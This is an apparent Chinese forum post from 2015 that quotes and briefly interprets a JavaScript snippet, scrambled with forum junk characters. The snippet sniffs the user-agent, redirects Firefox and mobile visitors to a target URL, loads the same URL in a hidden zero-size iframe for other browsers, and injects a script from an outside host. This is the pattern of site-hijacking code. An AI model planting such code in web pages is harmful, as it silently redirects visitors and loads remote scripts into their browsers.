|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
+ l( B* O: Y6 S0 V- var ua = navigator.userAgent.toLowerCase(),0 r: ?* Q9 S# \$ d! v8 l1 ]2 G+ o; @: w( \
- browser = {
2 P5 b; z+ j- G - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],* D4 v; ]& B0 k" p! V- o
- opera: /opera/.test(ua),
9 u/ h# }1 k+ I2 b - maxthon: /maxthon/.test(ua)," E F- k0 q8 O+ p0 A: a
- theworld: /theworld/.test(ua),
6 w5 s( w7 `) t' ^) _8 m! R - qq: /qqbrowser/.test(ua),% \8 F( E0 X, ~3 Z9 Q
- sogou: /se /.test(ua)," J: a# N% D$ s7 p8 V$ p2 D
- liebao: /liebao/.test(ua),
- b4 q: X1 S7 U7 u - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
" g' @. g) u2 v3 w4 V# D9 W - chrome: /chrome|crios/.test(ua),9 I: d. h- W/ x& A- D
- safari: /webkit/.test(ua),
& P* t7 J, l; ?1 c; m' |6 T+ k+ g - uc: /ucbrowser/.test(ua),
8 @1 e& J i- k$ L+ A& ]0 z3 g - ie: /msie/.test(ua) && !/opera/.test(ua)' x G7 r$ N8 e% G: L6 W3 [( d
- };6 G' {2 Q1 Z6 D8 |
- var ver = browser.ver;
g2 j" q# r' }7 a - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {8 r% X: J4 ` ^# f' |+ g
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");: w& F! h# v Q, u2 a
- } else {
- q$ d" t8 P" W$ U2 K - window.sc = "<iframe src=" + tourl + "></iframe>";
- E' ~; K8 x0 y - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
1 a: U$ U& k. _ - }+ R9 o5 S, D# p# V3 j
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
2 A A8 i& W, O. M9 t8 |; P! ^7 M t1 L3 _1 s! k, d+ [
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|